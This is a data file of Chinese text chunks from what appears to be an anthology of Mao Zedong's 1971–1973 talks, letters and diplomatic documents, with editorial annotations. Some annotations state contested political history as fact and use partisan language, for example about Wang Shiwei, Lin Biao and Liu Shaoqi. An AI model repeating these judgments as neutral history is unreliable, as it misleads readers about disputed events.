    {"text": "对反革命不要杀，保留活证据 对反革命不要杀， 保留活证据 * （一九七一年十一月十四日） 红军的传统历来不能自己打自己。你 〔1〕 就是王佐 〔2〕 部队的一个兵。王佐这个人无论如何是有功劳的，而且还加入了党。就是舍不得那个山头，吃不了苦。王佐这个人被彭德怀杀了，这就不好了嘛！哪有共产党的部队打共产党的部队？五军团的季振同 〔3〕 也不该杀。人还是少杀一点好。我们对反革命，不杀，保存起来对党有益，因为他们是活证据嘛。 你把解方 〔4〕 这样的人杀了干什么？ （周恩来：那个王实味 〔5〕 也可以不杀。） 不杀，现在多好。国民党抓刘少奇 〔6〕 、审判刘少奇的人，抓陈伯达、审判陈伯达的人还活着，这些都是活证据嘛。 注 释 * 这是毛泽东同志在接见参加成都地区座谈会的人员时的讲话。 〔1〕 指张国华，时任成都军区政治委员、军区党委第一书记、四川省革命委员会主任，中共四川省委第一书记。 〔2〕 王佐，与袁文才共同领导井冈山的绿林武装。毛泽东进入井冈山后，对他们进行了改造，部队进行了整编，但袁王部队和地方永新县委存在着很深的误会和矛盾，加上当地长期存在的土客矛盾，一九三〇年二月，永新县委盗用毛泽东名义将袁王二人骗至永新县城，利用彭德怀的红五军将两人杀死，袁、王被杀的后果是极其严重的，其残部无路可走，向国民党保安团投降，之后带领保安团攻打井冈山，井冈山就此失陷。后中央红军多次攻打，均因地势险峻而不能得手，中国革命的第一块根据地从此直到全国解放都一直是白区了。全国解放后，江西省委第一书记陈正人就派人来为袁文才和王佐平反。袁文才儿子袁耀烈和王佐的儿子王寿生一起被中央邀请参加了开国大典。一九五六年五月，毛泽东上井冈山时，特地将袁文才烈士的妻子谢梅香接到井冈山宾馆，亲切地称她“袁文嫂子”，向她表示亲切慰问，并一起照了相。 〔3〕 季振同，原任国民党二十六路军十四师师长、七十四旅旅长。一九三一年十二月十四日与赵博生、董振堂等发动了著名的宁都起义，改编为中国红军第五军团，任总指挥。一九三四年八月，由于党内“左”倾错误的影响，被误定为反革命分子，入狱监禁。十月，长征前夕，被杀于江西省瑞金县叶坪镇。 〔4〕 解方，曾担任中国人民志愿军参谋长，参与第一至五次战役的指挥，并作为朝中方面代表之一参加开城停战谈判，回国后历任中央军委军训部副部长，越南停战谈判顾问，南京军事学院科学研究部部长、副教育长，高等军事学院教育长、副院长，后勤学院副院长等职。早年留学日本，原为东北军部下，曾任张学良副官，在文革中被查出西安事变前后参加了张学良秘密组织的东北革命军人同志会，在一九四六年曾与吕正操、万毅、张学思等东北军旧部四十二人联名给蒋介石发电报，要求张学良回东北，被定为“东北叛党集团”成员，几乎被判死刑，后被毛泽东和周恩来制止。 〔5〕 王实味，作家，在延安写了杂文《野百合花》，恶毒攻击边区生活，后被国民党利用宣传我党的黑暗，被定为托派分子，一九四七年，解放战争期间，中央机关撤出延安，行军途中，因国民党飞机炸毁了关押王实味的看守所，战争状态下被晋绥公安总局秘密处死。 〔6〕 原任中共中央副主席、中华人民共和国主席。一九六八年被诊断为“肺炎杆菌性肺炎”，在七月中旬的一次发病后，虽经尽力抢救，从此丧失意识，一九六八年十月中共八届十二中全会通过《关于叛徒、内奸、工贼刘少奇罪行的审查报告》。这次全会公报，宣布了中央“把刘少奇永远开除出党，撤销其党内外的一切职务”的决议。一九六九年十月，在战备大疏散中被疏散到开封，同年十一月十二日逝世。"},
    {"text": "尼克松：如果可能，我希望跟总理，以及以后跟主席除了讨论眼前的问题：台湾问题、越南问题、朝鲜问题而外，…… 毛泽东：这些问题我不感兴趣，那是他（指周总理）跟你谈的事。"},
    {"text": "我们知道中国不想统治美国，我们认为你们也懂得美国不想统治中国。 同时，我相信，当然你们可能不会相信，美国和中国都是伟大的国家，它们都不想统治世界。"},
    {"text": "你出身于一个贫穷的家庭，现在到达世界上人口最多的国家、一个伟大的国家的顶峰。 我的背景，不那么被人所知，我也是出身于贫穷家庭，现在达到了一个大国的顶峰。"},
    {"text": "〔1〕 ［合众国际社关岛阿加尼亚二月二十日电］尼克松总统今天说，他准备同中国领导人进行马拉松式的会谈，如果这些会谈证明在缓和中美紧张局势方面有成果的话。"},
    {"text": "从“哲学”即“战略”上讲，当时西方一些国家中，在“苏攻美守”的形势下，右派主张对苏强硬，或可称之为抗苏派，左派主张对苏妥协，或可称之为亲苏派。"},
    {"text": "比赛开始第一天，中国队乘巴士从住地去体育馆时，美国运动员科恩上来搭车，于是中国运动员庄则栋主动和他握手、寒喧，并送他一块中国杭州织锦留作纪念。"},
    {"text": "十四日下午，周恩来总理在人民大会堂会见了美国乒乓球代表团全体成员，在与美代表团团长谈话时说：“你们作国前来中华人民共和国访问的第一个美国代表团，打开了两国人民友好往来的大门。"},
    {"text": "周恩来讲话后不到几小时，白宫就宣布了旨在缩小两国间鸿沟的一系列开禁措施：放松美国对中国实行了二十一年的禁运，对愿意访问美国的中国人可以加快发给签证，放宽货物管制等等。"},
    {"text": "〔10〕 约翰逊，一九六三年十一月二十二日，美国总统肯尼迪遇刺身亡，时任副总统的约翰逊就任总统，并在一九六五年正式当选美国总统，任期到一九六九年。"},
    {"text": "〔11〕 叶海亚，叶海亚·汗，原任巴基斯坦总统，他曾利用与中国和美国都保持的良好关系，为中美秘密传话，建立了著名的“叶海亚汗通道”，并成功安排基辛格秘密访华。"},
    {"text": "〔12〕 杜鲁门，一九四五年，美国总统罗斯福在任期内逝世，时任副总统的杜鲁门就任总统，并在一九四八年正式当选美国总统，任期到一九五三年。"},
    {"text": "〔13〕 一九五三年至一九六一年，美国由共和党执政，艾森豪威尔任总统，尼克松任副总统。 〔14〕 杜勒斯，美国共和党人，一九五三年至一九五九年任美国国务卿。"},
    {"text": "一九五零年他参与策划美国政府利用朝鲜战争武装侵占中国领土台湾。 一九五四年他又策划美国政府同台湾当局签订《美台共同防御条约》，企图使霸占台湾的行为合法化，将台湾长期作为美国的军事基地。"},
    {"text": "他一贯敌视社会主义国家和民族解放运动，坚持不承认中国、非法排斥中国在联合国的合法地位、对中国实行封锁禁运，明目张胆地进行制造“两个中国”的阴谋活动。"},
    {"text": "一九七三年十月十九日，在斯诺骨灰的安葬仪式上，斯诺夫人洛伊斯牵着女儿茜安的手说：“我的丈夫在遗言中表达了对中国的热爱，并表示他生前一部分身心常系中国，希望死后也将自己一部分遗体安放在新中国的古老土地下，安放在中国的新人中间。"},
    {"text": "中美联合公报（“上海公报”）中国方面的声明 中美联合公报（“上海公报”） 中国方面的声明 * （一九七二年二月二十八日） 中国方面声明：哪里有压迫，哪里就有反抗。国家要独立，民族要解放，人民要革命，已成为不可抗拒的历史潮流。国家不分大小，应该一律平等，大国不应欺负小国，强国不应欺负弱国。中国决不做超级大国，并且反对任何霸权主义和强权政治。中国方面表示：坚决支持一切被压迫人民和被压迫民族争取自由、解放的斗争；各国人民有权按照自己的意愿，选择本国的社会制度，有权维护本国独立、主权和领土完整，反对外来侵略、干涉、控制和颠覆。一切外国军队都应撤回本国去。 中国方面表示：坚决支持越南、老挝、柬埔寨三国人民为实现自己的目标所作的努力，坚决支持越南南方共和临时革命政府的七点建议 〔1〕 以及在今年二月对其中两个关键问题的说明 〔2〕 和印度支那人民最高级会议联合声明 〔3〕 ；坚决支持朝鲜民主主义人民共和国政府一九七一年四月十二日提出的朝鲜和平统一的八点方案 〔4〕 和取消“联合国韩国统一复兴委员会”的主张；坚决反对日本军国主义的复活和对外扩张，坚决支持日本人民要求建立一个独立、民主、和平和中立的日本的愿望；坚决主张印度和巴基斯坦按照联合国关系印巴问题的决议，立即把自己的军队全部撤回到本国境内以及查谟和克什米尔停火线的各自一方，坚决支持巴基斯坦政府和人民维护独立、主权的斗争以及查谟和克什米尔人民争取自决权的斗争。 注 释 * 这是毛泽东同志审定的中美上海公报的中国立场部分。 〔1〕 一九七一年七月一日越南南方共和临时革命政府在巴黎会议上提出七点和平倡议： 一、如果美国规定撤军的限期，双方的全部战俘就可释放。 二、成立三方民族团结政府。 三、由越南人自己解决南方的越南武装力量问题。 四、北越和南越逐步统一。 五、南越奉行和平和中立的外交政策。 六、美国政府必须对在北越和南越造成的损失和破坏承担全部责任。 七、国际上来保证所达成的协议。指出美国政府必须确定撤军的期限；如果美国政府规定在一九七一年内从越南南方撤走全部美军及其仆从军，各方就可以同时商定关于从越南南方安全撤走全部美军及其仆从军的事宜和关于释放在战争中被俘的各方军事人员和非军事人员的事宜。美国政府还必须尊重越南南方人民的自决权，停止干涉越南南方内政，停止支持以阮文绍为首的傀儡政权。这个倡议，为和平解决越南问题提供了正确的途径。 〔2〕 一九七二年二月初，北越就原来的“七点建议”通知美国，准备把释放全部战俘同美军和盟军从南越撤退这两件事协调一致起来，要求美军和盟军在一九七一年内全部撤退完毕，并形成了新的“九点建议”： 一、在一九七一年内全部撤退美国和盟国的军队。 二、在撤军的同时释放俘获的全部士兵与平民，并且在军队全部撤退时完成释放工作。 三、美国停止支持南越阮文绍总统的政权，用一个新的政府代替这个政权，南越临时革命政府可以就这个国家的问题同新政府举行会谈。 四、对在战争中造成的损失，美国向河内和临时革命政府偿付赔款。 五、停止美国的干涉，而且尊重一九五四年和一九六二年关于印度支那问题和老挝问题的日内瓦协议。 六、印度支那各国之间的问题“将由印度支那各方在互相尊重、独立、主权、领土完整和互不干涉内政的基础上加以解决”。 七、在就上述各问题缔结协议后，所有各方将实行停火。 八、将实行国际监督。 九、为了确保印度支那各国人民的基本民族权利以及南越、老挝和柬埔寨的中立受到尊重，为了在这个地区确立持久和平，国际保证是必要的。 〔3〕 一九七〇年四月二十四日至二十五日，印度支那人民最高级会议在中国、老挝和越南边境地区举行，柬埔寨、老挝、越南南方共和国、越南民主共和国三国四方领导人各自率代表团出席会议，并发表《联合声明》，谴责美国扩大对越南和老挝的侵略战争，在柬埔寨发动政变，重申四方领导人对解决印度支那问题的严正立场，号召印度支那人民团结起来，捍卫民族权利，打败美国侵略者及其一切走狗，使印度支那成为真正符合三国人民与世界人民愿望的独立和平地区。 〔4〕 一九七一年四月十二日，朝鲜最高人民会议提出了《关于统一祖国的八项救国方案》。其主要内容如下： 一、美军撤出南朝鲜； 二、南北方军队均裁减至十万人以下； 三、废除韩美、韩日条约，确立民族自主权； 四、举行南北大选，建立统一的中央政府； 五、保障政治活动自由； 六、作为过渡性措施，实施南北联邦制； 七、广泛进行南北经济、文化、人员交流； 八、召开南北政治协商会议。"},
    {"text": "毛泽东：我是中了书毒了，离不了书，你看（指周围书架及桌上的书）这是《稼轩》，那是《楚辞集注》，没有什么礼物，把这个（楚辞集注）送给你。"},
    {"text": "〔2〕 “迷惑/麻烦”的风波，一九七二年九月二十五日,田中角荣首相访问北京,当天晚上在周恩来总理主持的欢迎宴会上,田中发表祝酒词,有这样一句：“わが国が中国国民に多大なご迷惑をおかけしたことについて，私は改めて深い反省の念を表明するものであります。 ”日方提供的中文稿稿将“迷惑”直译为“麻烦”，田中的这句话翻成如下的中文：“我国给中国国民添了很大的麻烦，我对此再次表示深切反省之意。 ” 二十六日，针对田中首相昨晚在周总理欢迎宴会上的讲话中关于军国主义给中国人民“添了麻烦”的提法，周总理说，日本军国主义的侵略战争给中国人民带来了沉重的灾难，日本人民也深受其害，用“添麻烦”来表述，中国人民是通不过的，这句话引起了中国人民强烈的反感，因为普通的事情也可以说是“添麻烦”，“麻烦”在汉语里意思很轻。 田中解释说，从日文来说，“添麻烦”是诚心诚意地表示谢罪之意，而且包含着以后不重犯、请求原谅的意思。"},
    {"text": "虽然他每次的谈话不尽相同，但基本意思，就是“日本帝国主义当了我们的好教员”，是说日本帝国主义的侵略在客观上起了促使中国人民觉醒的反面教员的作用。"},
    {"text": "一九六四年七月九日，毛泽东与亚洲、非洲、大洋洲一些国家和地区参加第二次亚洲经济讨论会的代表谈话中，在阐述日本侵略在客观上产生了对中国人民的教育作用时，说“日本帝国主义当了我们的好教员”。"},
    {"text": "在这里，毛泽东之所以称他们是“教员”，指的是日本侵略中国，美国政府扶蒋反共和仇视、阴谋扼杀新中国，蒋介石反共独裁和屠杀人民、打内战等行径，对中国人民的“教育”作用，使中国人民认识清楚了他们的本来面目，起来与之进行斗争，是在强调他们的反面教员的作用。 通读毛泽东的上述谈话，他的话意所指是十分明确的，即在日本帝国主义侵略中国、促使了中国人民觉醒、团结和反抗的这个特殊意义上，毛泽东说了“感谢”日本侵略等话。"},
    {"text": "〔6〕 廖承志，廖承志于一九〇八年出生在日本东京，父亲廖仲恺是国民党革命元勋，与廖承志母亲何香凝同为国民党内重要左派人物，一九二七年留学日本，进入早稻田大学第一高等学府学习，建国年前多数时间在国统区工作，曾七次被逮捕，一九五二年任中共中央统战部主任。"},
    {"text": "〔8〕 一九七二年七月六日，田中角荣刚组阁完政府，便在东京永田町总理官邸二层办公室声称：“我要坚决实现日中邦交正常化，谈判的对手必须是可以依赖的人。"},
    {"text": "”田中角荣这次访华期间，中日双方就两国邦交正常化问题进行了会谈，于九月二十九日发表两国政府联合声明，宣告“中华人民共和国政府和日本国政府决定自一九七二年九月二十九日起建立外交关系”。"},
    {"text": "深挖洞，广积粮，不称霸 深挖洞，广积粮，不称霸 * （一九七二年十二月） 我国必须坚持和平共处五项原则，不应当有大国霸权主义思想，而在国内建设中则要切实做好战备工作，要进一步挖深挖好防空掩体，加强粮食储蓄。 根据我们现在所处的国内外形势和我们所坚守的社会主义制度和无产阶级立场，我们要“深挖洞，广积粮，不称霸”。 注 释 * 这是毛泽东同志对党内的指示。 祝贺越南人民取得的伟大胜利 祝贺越南人民取得的伟大胜利 * （一九七三年一月二十九日） 河内 越南民主共和国主席孙德胜同志， 越南劳动党中央委员会第一书记黎笋同志， 越南民主共和国国会常务委员会主席长征同志， 越南民主共和国政府总理范文同同志， 越南南方 越南南方民族解放阵线中央委员会主席团主席阮友寿阁下， 越南南方共和临时革命政府主席黄晋发阁下： 值此《关于在越南结束战争、恢复和平的协定》在巴黎正式签订的时候，我们代表中国共产党、中国政府和中国人民，向你们，并通过你们向越南劳动党和越南民主共和国政府、越南南方民族解放阵线和越南南方共和临时革命政府，向越南南北方人民，表示热烈的祝贺和崇高的敬意。 英雄的越南人民为了祖国的独立和民族的解放，高举胡志明 〔2〕 主席“决战决胜”的旗帜，同美帝国主义进行了十余年浴血战斗，终于促使美国政府签订越南停战和平协定，同意限期撤出美国及其盟国的全部武装力量，并且确认越南人民的基本民族权利和越南南方人民的自决权，从而为越南人民在没有外来武力干涉的情况下解决自己的问题创造了条件，为实现越南的和平、独立、统一、民主和繁荣开辟了前景。 巴黎协定的签订，是越南人民在军事、政治和外交战线上长期斗争所取得的重大成果，是越南人民自力更生、艰苦奋斗，坚持持久的人民战争所取得的伟大胜利，是印度支那 〔3〕 三国人民团结战斗的伟大胜利，也是全世界人民包括美国人民的共同胜利。 中国人民对越南人民的胜利就像自己的胜利一样，感到由衷的高兴。你们在长期抗战中表现出来的顽强革命精神和大无畏英雄气概，赢得了全世界人民的钦佩和赞扬。你们的光辉榜样，证明了小国能够战胜大国，弱国能够战胜强国，有力地鼓舞着世界上一切被压迫民族和被压迫人民的反帝革命斗争。你们的英勇斗争和伟大胜利，将作为当代民族解放战争的光辉典范而载入史册。 中越两国是山水相连的亲密邻邦。我们两国人民在长期的反帝斗争中，一贯互相支持、互相鼓舞，结成了深厚的革命友谊。中国人民一向把你们的斗争当作自己的斗争，把支援你们的正义事业当作自己应尽的国际主义义务。在过去的抗美救国战争中，我们是这样做的，今后，我们仍将同兄弟的越南人民站在一起，同兄弟的印度支那三国人民站在一起，给予越南人民和印度支那各国人民的正义事业以坚决的支援。 我们衷心祝愿越南北方人民在越南劳动党和越南民主共和国政府的领导下，在巩固和建设社会主义北方的事业中取得新的成就；衷心祝愿越南南方人民在越南南方民族解放阵线和临时革命政府的旗帜下，同其他两种政治力量，迅速成立各级民族和解与和睦国家委员会，通过协商进行普选，决定南方的政治前途，在独立、民主和民族团结的道路上不断前进。我们深信，越南人民统一祖国的愿望，一定能够实现；越南人民的正义事业，一定胜利。 注 释 * 这是毛泽东同志起草的祝贺越南问题巴黎协定 〔1〕 正式签订的电报。 〔1〕 指越南民主共和国、美国、越南南方共和临时革命政府、西贡伪政权四方代表一九七三年一月二十七日在巴黎签订的《关于在越南结束战争、恢复和平的协定》，简称《越南问题的巴黎协定》。 主要内容是：美国和其他国家尊重一九五四年关于越南问题的日内瓦协议所承认的越南的独立、主权、统一和领土完整；美国承担义务，在协定签字后六十天内从越南南方撤出全部美国及其同盟者的军队和军事人员，不继续其对越南南方的军事卷入，不干涉越南南方内政，保证尊重越南南方人民的自决权；越南南方人民将通过普选决定越南南方的政治前途；越南的统一将通过和平方法逐步实现。 〔2〕 胡志明，越南劳动党中央委员会主席、越南民主共和国主席。一九六九年逝世。 〔3〕 印度支那，英语Indochina，是指中南半岛，包括越南、老挝、柬埔寨三个国家。越南战争，亦称第二次印度支那战争，指一九六一至一九七五年，越南、老挝、柬埔寨人民团结起来反对美国侵略、捍卫民族独立和争取社会进步的解放战争。"},
    {"text": "接见基辛格时的谈话*<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a> 接见基辛格时的谈话* 〔1〕 （一九七三年二月、十一月） （一）（一九七三年二月十七日） 基辛格：我看主席这次比上次好得多了。"},
    {"text": "毛泽东：一百个学生当中如果有十个人学好外语，那就非常成功，即使有十多个学生不想回国，例如一些女孩想留在美国，那也没关系，因为你们美国人不像中国人那么排外。"},
    {"text": "毛泽东：（比个手势并指着他的书）假如苏联丢了炸弹并杀死三十岁以上的中国人，那将会帮我们解决问题，因为像我一样的老人不会学英文，我们只会读中文，我大部分的书是中文，只有少数的字典是外文，其他大部分的书是中文。"},
    {"text": "毛泽东：那时候你们可以让苏联深陷在中国，半年、一年、两年、三年或四年，戳苏联的背后，那时候你们的口号将是寻求和平，你们将以和平之名瓦解社会主义帝国，也许你们将以作生意帮助他们，并向他们表示可以提供一切协助反对中国。"},
    {"text": "而且我也跟日本说过，我们不只赞同他们（日本）要求（苏联）归还北方四岛，而且还包括历史上，苏联自中国割去的一百五十万平方公里土地。"},
    {"text": "我们现在有一个矛盾：一方面，我们一直支持阿拉伯国家反对以色列的建国运动，另一方面，我们必须对美国在当地阻止苏联的做法表示欢迎，以免苏联控制中东地带。"},
    {"text": "毛泽东接见了美国国家安全事务助理基辛格，在座的有周恩来总理、外交部部长助理王海容、翻译唐闻生、翻译沈若云、美国国家安全委员会委员洛德。"},
    {"text": "一九五零年他参与策划美国政府利用朝鲜战争武装侵占中国领土台湾。 一九五四年他又策划美国政府同台湾当局签订《美台共同防御条约》，企图使霸占台湾的行为合法化，将台湾长期作为美国的军事基地。"},
    {"text": "他一贯敌视社会主义国家和民族解放运动，坚持不承认中国、非法排斥中国在联合国的合法地位、对中国实行封锁禁运，明目张胆地进行制造“两个中国”的阴谋活动。"},
    {"text": "一九二五年加入中国共产党。 一九五八年五月在中共八届五中全会上被增选为中共中央副主席、政治局常务委员。 一九五九年任中央军委副主席、国防部长，主持中央军委工作。"},
    {"text": "在九届二中全会上主张设国家主席（毛泽东主席明确表示要改变国家体制不设国家主席），并组织人企图压服中央，犯了错误，被毛泽东主席识破，对其进行了警告和批评，并等待其认错达一年之久（从一九七〇年九月到一九七一年九月），不料，其子林立果狂妄自大，趁毛泽东南巡之时，妄图谋杀毛泽东主席，事情败露后，九月十三日夜，林立果挟制林彪和叶群驾机逃往苏联，最后坠毁于蒙古温都尔汗，史称“九一三”事件。"},
    {"text": "〔7〕 一九七三年一月二十七日，越南民主共和国、美国、越南南方共和临时革命政府、西贡伪政权四方代表在巴黎签订的《关于在越南结束战争、恢复和平的协定》，简称《越南问题的巴黎协定》。"},
    {"text": "由于基辛格对这份协定的贡献，一九七三年十月十六日，挪威议会选出的诺贝尔和平奖五人委员会宣布基辛格与黎德寿（越方领导人）获得诺贝尔和平奖。"},
    {"text": "〔9〕 西德，德意志联邦共和国，简称西德或联邦德国，第二次世界大战后，德国分裂为民主德国（东德）和联邦德国（西德），一九九〇年十月三日民主德国正式加入联邦德国，两德统一，称德国。"},
    {"text": "〔11〕 二十世纪二十年代到四十年代，二十年间，苏联趁中国内乱无力北顾，逐渐蚕食中国领土，利用二战日本入侵中国、国共相争的时机，逼迫中国国民政府承认外蒙古（蒙古人民共和国）独立，并取得了在新疆和东北的一系列特权。 外蒙古独立是指外蒙古于二十世纪前期从中国独立出去的一直影响到现在中国的巨大历史事件，是中国历史上最黑暗的时代之一。"},
    {"text": "〔12〕 一九四五年二月，苏美英关于战后日本问题的《雅尔塔协定》规定，整个千岛群岛，包括日本方面所说的“北方四岛”，择捉、国后、色丹和齿舞群岛，都划归苏联。"},
    {"text": "〔15〕 一九七三年五月中美两国在对方首都互建联络处，建立大使级外交关系，资深外交家、原驻法大使黄镇任驻美联络处主任，美国资深外交家布鲁斯任驻华联络处主任。"},
    {"text": "〔16〕 一九六二年十二月，赫鲁晓夫在苏联最高苏维埃会议上发表讲话时提出：为什么中华人民共和国对收回由于侵略战争和不平等条约落入葡萄牙和英国帝国主义监督之下的澳门和香港不感兴趣，而却对与印度的边界怀有敌意呢？"},
    {"text": "启用邓小平 启用邓小平 * （一九七二年八月、一九七三年十二月） 一、一九七二年八月十四日， 对邓小平来信 〔1〕 的批示 请总理 〔2〕 阅后，交汪主任 〔3〕 印发中央各同志。"},
    {"text": "二、一九七三年十二月十二日、十四日 在政治局会议上的部分谈话 我和剑英 〔8〕 同志请邓小平同志参加军委，当委员。 三、一九七三年十二月十四日， 毛泽东同政治局有关同志的相关谈话 现在，请了一个军师，叫邓小平。"},
    {"text": "全文如下： 主席： 前天，我第四次同全体职工一块，听了关于林彪反党反革命集团阴谋叛乱的罪证，和关于陈伯达反共份子、托派、叛徒、特务、修正主义份子的历史材料，使我更加感到，如果不是文化大革命和广大深入的群众运动这面无比巨大的照妖镜，这样迅速地把这帮牛鬼蛇神的原形显照出来，特别是如果不是主席这样从他们的世界观以及他们的政治观点和阴谋活动，及时地查觉出他们的反动本质和极大的危害性，并迅速地把他们暴露于光天化日之下，如果一旦他们完全掌握了党和国家的最高权力，那不但我们的社会主义祖国会变到资本主义复辟，而且会使我们的国家重新沦入半殖民地的地步，更不知会有多少人头落地。"},
    {"text": "没有疑问的，那时，革命的人民和真正的共产党人最终会起来把他们打倒，恢复无产阶级专政和社会主义制度，但是这要经过多长的痛苦的历史反复啊！"},
    {"text": "对林彪，我过去觉得他很会打仗，我不相信什么百胜将军，不打败仗的将军是没有的，事实上他也不是每战必胜的，但认为他毕竟是一个军事能手。"},
    {"text": "在历史上，我知道他犯了两个错误，一次是在长征时，他同彭德怀搞在一块，反对毛主席的领导，他历来标榜自己是反对彭德怀的，但在这样非常困难的关头，却同彭德怀结成同盟，搞秘密串连，如果没有主席的威望和坚强的领导，不知会成什么局面。 再一次是抗美援朝，这也是一个严重的政治关头，他又出面反对主席的极端重要的政治决策，并且拒绝到朝鲜作战，按说他是比彭德怀要适当的人选，而他竟拒绝了，在实质上说，他是怕美国，不相信会打败美帝，不相信自己的正义立场和自己的力量。"},
    {"text": "刘伯承同志在军事学院的教学方针中是有缺点和错误的，批判是应该的，但是林彪和彭德怀一块，对刘的批评不是与人为善的，林在军委扩大会议上的讲话更是声色俱厉的，他们甚至说刘在二野没起什么作用，似乎只有我在那里起作用，当时我曾为此说过，没有那样能够很好合作的司令员，我这个政治委员也起不了什么作用的（我记得在常委也说过），对我这个态度，林彪当然是不高兴的。"},
    {"text": "罗荣桓同志同林彪是老战友，按说他们应该是很好的，罗荣桓同志为人的朴实、诚恳和厚道，是大家所知道的，罗在干部中是很有威信的，林彪就说过，四野干部有事都找罗，不找他。 记不得是在一九五几年，罗荣桓同志曾指出林彪在宣传毛泽东思想中，只强调老三篇，是把毛泽东思想庸俗化，林彪非常不高兴，从此对罗的关系很坏。"},
    {"text": "在罗瑞卿问题出来前，我一直认为罗瑞卿同林彪的关系是不会坏的，我一直觉得罗是林的老部下，罗当总长又是林推荐的，应该没有问题，所以，当一九六六年初（静火注，应是一九六五年十二月）林彪提出罗瑞卿问题时，性质是那样严重，我的感觉是很突然的。 而在叶群向我叙述罗瑞卿如何反对林彪，如何企图夺权时，又夹着一些罗如何轻视我的话，我听了并不舒服，我总觉得其中包含了一些个人的东西，在方式上多少带一些突然袭击的性质，这多少影响我在处理罗的问题犯下那样不容宽恕的错误。 对于林彪高举毛泽东思想伟大红旗，现在看来，他的确是为的打着红旗反红旗，是准备夺权、颠覆无产阶级专政、复辟资本主义的步骤，但是过去我一直认为他抓得对，抓得好，比我好得多。"},
    {"text": "但是，过去在两点上我一直是不同意的，一是林彪只强调老三篇，多次说只要老三篇就够用了，我认为毛泽东思想是在一切领域中全面的发展了马克思列宁主义，只讲老三篇，不从一切领域中阐述和运用毛泽东思想，就等于贬低毛泽东思想，把毛泽东思想庸俗化； 一是总感觉林彪的提法是把毛泽东思想同马列主义割裂开来，这同样是贬低了毛泽东思想的意义，特别是损害了毛泽东思想在国际共产主义运动和反对国际修正主义运动中的作用，我从阿尔巴尼亚同志的态度了解到这一点，我是赞成强调毛泽东思想对于马列主义的继承、捍卫和发展作用的。"},
    {"text": "在文化大革命中，我见到“毛主席缔造的、林副主席直接指挥的”这样的提法，觉得有点刺眼，只觉得这是提高林彪威信的提法，不敢有别的想法，现在原形毕露，才恍然大悟了。"},
    {"text": "至于他在主持文化大革命中的事情，特别是九届二中全会的事情，只是在听了中央文件的传达后，才知道像他这样一个坏蛋，以往那种表露不是什么奇怪的。"},
    {"text": "我另一个最大的错误，是在到北京工作以后，特别是在我担任党中央总书记之后，犯了一系列的错误，一直发展到同刘少奇一块推行了一条反革命的资产阶级反动路线。"},
    {"text": "在六〇、六一年困难时期，我没有抵制三自一包四大自由等资本主义的歪风，没有遵照主席指示抓好三线的基本建设，使不该下马的也下了马，推延了具有十分重大的战略意义的三线建设。 在工业建设方面，我主持搞的工业七十条，没有政治挂帅，没有把主席的鞍钢宪法作为指针，因而是一个错误的东西。"},
    {"text": "我是这样认识的：我在犯错误之后，完全脱离工作，脱离社会接触已经五年多快六年了，我总想有一个机会，从工作中改正自己的错误，回到主席的无产阶级革命路线上来。"},
    {"text": "但是，我觉得自己身体还好，虽然已经六十八岁了，还可以作些技术性质的工作（例如调查研究工作），还可以为党、为人民作七八年的工作，以求补过于万一。"},
    {"text": "一九六八年被诊断为“肺炎杆菌性肺炎”，在七月中旬的一次发病后，虽经尽力抢救，从此丧失意识，一九六八年十月中共八届十二中全会通过《关于叛徒、内奸、工贼刘少奇罪行的审查报告》。"},
    {"text": "他们在敌强我弱的形势下，从实际情况出发，曾分别发表过一些有利于反“围剿”和巩固革命根据地的意见，抵制王明“左”倾冒险主义的错误作法。"},
    {"text": "〔7〕 刘伯承，抗日战争时期任八路军第一二九师师长，和政委邓小平等一起创建了晋冀豫抗日根据地和冀南、太岳、冀鲁豫抗日根据地。 解放战争时期任晋冀鲁豫军区、中原军区、第二野战军司令员，和政委邓小平一起率领所属部队挺进大别山，参与指挥淮海、渡江战役和解放大西南。"},
    {"text": "在政治局会议上的讲话——八大军区司令员对调 在政治局会议上的讲话 ——八大军区司令员对调 * （一九七三年十二月） （一）（一九七三年十二月十二日） 我提议，议一个军事问题，全国各大军区司令员互相对调。（对叶剑英 〔2〕 ）你是赞成的。我赞成你的意见，我代表你说话。我先找了总理 〔3〕 、王洪文 〔4〕 两位同志，他们也赞成。一个人在一个地方搞久了，不行呢。搞久了，油了呢。有几个大军区，政治委员不起作用，司令员拍板就算。我想了好几年了，主要问题是军区司令员互相调动，政治委员不走。（带领大家唱《三大纪律八项注意》），步调要一致，不一致就不行。 政治局要议政。军委要议军，不仅要议军，还要议政。军委不议军，政治局不议政，以后改了吧。你们不改，我就要开会，到这里来。我毫无办法，我无非是开个会，跟你们吹一吹，当面讲，在政治局。 （二）（一九七三年十二月二十一日） 你陈（锡联）司令，济南的杨得志同志，南京的许世友同志，这几个同志呢，在一个地方搞得太久了。这个李德生同志、曾思玉同志、丁盛同志倒是搞得不那么久呢！你们带个头呢。省军区、军分区、人武部就会照样去做。 到一个新地方有很多困难呢，不熟人，不熟地方，不熟党，不熟军，党政军民都不熟。党政军民学，东西南北中。 （许世友：有党，有同志们，可以学习。） 慢慢来，就会顺手。 你们呢，要交好班呢。有困难啊，人生地不熟。有些人就批你们。大多数呢，舍不得你们走呢。（对韩先楚）我不是跟你讲过嘛，这个世界上这类事啊，心放宽些，胆子壮些。心要宽，胆要大。无非是做官嘛，革命嘛，一个不撤，一个不批吧！你们想一想，总是有些缺点，十个指头有一个指头的缺点。一切错误都是我。我错误大呢，比你们大，所以屡次想辞掉这个主席。八大我还设了一个名誉主席，就是为着我想当个名誉主席，让别人当主席。 我向基辛格 〔5〕 讲了差不多三个小时。其实只有一句话：当心！北极熊 〔6〕 要整你美国！一整太平洋的舰队，二整欧洲，三整中东。 注 释 * 这是毛泽东同志在政治局会议上有关八大军区对调 〔1〕 的谈话。 〔1〕 八大军区对调，一九七三年十二月二十二日，毛泽东签发命令，八大军区司令员对调。当时全国共有十一个大军区，新疆军区司令员杨勇、成都军区司令员秦基伟、昆明军区司令员王必成都任职时间不长，最长的也才四个月，他们都原封不动。其它八个军区司令员对调： 北京军区司令员李德生与沈阳军区司令员陈锡联对调。 济南军区司令员杨得志与武汉军区司令员曾思玉对调。 南京军区司令员许世友与广州军区司令员丁盛对调。 福州军区司令员韩先楚与兰州军区司令员皮定钧对调。 〔2〕 叶剑英，时任中央军委副主席，主持军委日常工作。 〔3〕 总理，指周恩来。 〔4〕 王洪文，时任中共中央副主席。 〔5〕 基辛格，一九七三年二月和十一月两次访华，毛泽东都接见了他。就国际形势尤其是苏联的威胁交换了意见。 〔6〕 北极熊，指苏联。 中国将修建青藏铁路 中国将修建青藏铁路 * （一九七三年十二月九日） 中国将修建青藏铁路 